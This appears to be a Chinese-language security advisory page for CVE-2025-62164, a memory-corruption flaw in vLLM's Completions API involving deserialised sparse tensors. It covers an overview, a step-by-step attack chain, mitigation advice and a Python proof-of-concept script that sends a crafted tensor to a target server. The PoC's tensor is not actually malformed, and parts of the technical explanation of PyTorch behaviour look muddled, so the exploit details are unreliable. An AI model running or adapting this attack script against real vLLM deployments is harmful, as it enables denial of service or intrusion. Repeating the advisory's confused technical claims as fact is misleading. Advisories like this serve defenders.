IPBUF安全漏洞报告
English
CVE-2025-62164 CVSS 8.8 高危

CVE-2025-62164 vLLM Completions API 内存损坏漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-62164
漏洞类型
内存损坏/远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
vLLM

相关标签

内存损坏远程代码执行拒绝服务vLLMLLM推理引擎PyTorchtorch.load稀疏tensorCVE-2025-62164CVE-2025

漏洞概述

CVE-2025-62164是vLLM项目中一个严重的安全漏洞。vLLM是一个用于大型语言模型(LLM)推理和服务的开源引擎。该漏洞影响vLLM 0.10.2到0.11.1之前的所有版本。漏洞位于Completions API端点,当处理用户提供的prompt embeddings时存在内存损坏问题。攻击者可以通过发送恶意构造的序列化tensor来触发此漏洞。由于PyTorch 2.8.0版本更改导致稀疏tensor完整性检查默认被禁用,恶意tensor可以绕过内部边界检查,在调用to_dense()方法时触发越界内存写入。这不仅可能导致vLLM服务崩溃(造成拒绝服务),还可能使攻击者在托管vLLM的服务器上执行任意代码。该漏洞由GitHub安全团队发现并报告,已在vLLM 0.11.1版本中得到修复。鉴于vLLM在AI推理领域的广泛使用,建议所有使用受影响版本的用户立即升级。

技术细节

该漏洞的根本原因在于vLLM的Completions API端点对用户输入的prompt embeddings处理不当。具体来说,端点使用torch.load()函数加载序列化的tensor对象,但没有对加载的数据进行充分的安全验证。问题在于PyTorch 2.8.0引入了一项变更,默认禁用了稀疏tensor的完整性检查(weights_only参数默认为False但行为改变)。攻击者可以精心构造一个恶意的稀疏tensor,其内部数据经过特殊构造后,在调用to_dense()方法将其转换为密集tensor的过程中,会触发越界内存写入。具体利用过程是:1)攻击者创建包含畸形数据的稀疏tensor;2)通过Completions API的embeddings参数上传该tensor;3)vLLM使用torch.load()反序列化该tensor;4)当代码调用to_dense()进行类型转换时,由于缺少边界检查,tensor的内部指针会指向非法内存区域;5)这导致内存损坏,可能覆盖关键数据结构或函数指针。成功的利用可以导致进程崩溃或实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者识别运行vLLM 0.10.2-0.11.1版本的服务,并定位其Completions API端点
STEP 2
步骤2
攻击者创建一个恶意的稀疏tensor,其内部数据经过精心构造,意图绕过完整性检查
STEP 3
步骤3
使用torch.save()将恶意tensor序列化为二进制格式
STEP 4
步骤4
通过vLLM的Completions API发送请求,将序列化后的恶意tensor作为prompt embeddings参数提交
STEP 5
步骤5
vLLM服务端使用torch.load()反序列化该tensor,由于PyTorch 2.8.0默认禁用稀疏tensor完整性检查,恶意的tensor数据结构被接受
STEP 6
步骤6
当代码执行to_dense()方法将稀疏tensor转换为密集tensor时,由于缺少边界检查,触发越界内存写入
STEP 7
步骤7
内存损坏可能导致vLLM进程崩溃(DoS)或被攻击者利用执行任意代码(RCE)

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-62164 PoC - Malicious Sparse Tensor Trigger import torch import requests import io def create_malicious_sparse_tensor(): """ Create a malicious sparse tensor designed to trigger OOB write during to_dense() conversion """ # Create a sparse tensor with manipulated indices indices = torch.tensor([[0, 0, 0], [0, 1, 2]], dtype=torch.long) values = torch.tensor([1.0, 2.0, 3.0], dtype=torch.float32) # Craft sparse tensor with invalid size that bypasses checks size = (1, 1000000000) # Intentionally large dimension sparse_tensor = torch.sparse_coo_tensor(indices, values, size) # Serialize to bytes (this is what gets sent to the server) buffer = io.BytesIO() torch.save(sparse_tensor, buffer) return buffer.getvalue() def exploit_vllm(target_url): """ Exploit vLLM CVE-2025-62164 """ malicious_data = create_malicious_sparse_tensor() # Prepare the request to Completions API payload = { 'model': 'meta-llama/Llama-2-7b-hf', 'prompt': 'test', 'max_tokens': 100, 'prompt_embeddings': malicious_data.hex() # Send serialized tensor } try: response = requests.post( f'{target_url}/v1/completions', json=payload, timeout=30 ) print(f'Status: {response.status_code}') print(f'Response: {response.text}') except Exception as e: print(f'Error: {e}') if __name__ == '__main__': target = 'http://target-vllm-server:8000' exploit_vllm(target)

影响范围

vLLM 0.10.2 到 0.11.0

防御指南

临时缓解措施
由于该漏洞已被官方修复,最有效的缓解措施是立即升级vLLM到0.11.1版本。如果暂时无法升级,可以采取以下临时措施:1)限制Completions API的访问,只允许受信任的客户端调用;2)在API网关层面实现输入长度和格式验证;3)监控vLLM进程的内存使用情况,及时发现异常;4)考虑使用网络隔离,限制暴露面。需要注意的是,这些临时措施不能完全消除风险,升级仍是必须的安全措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表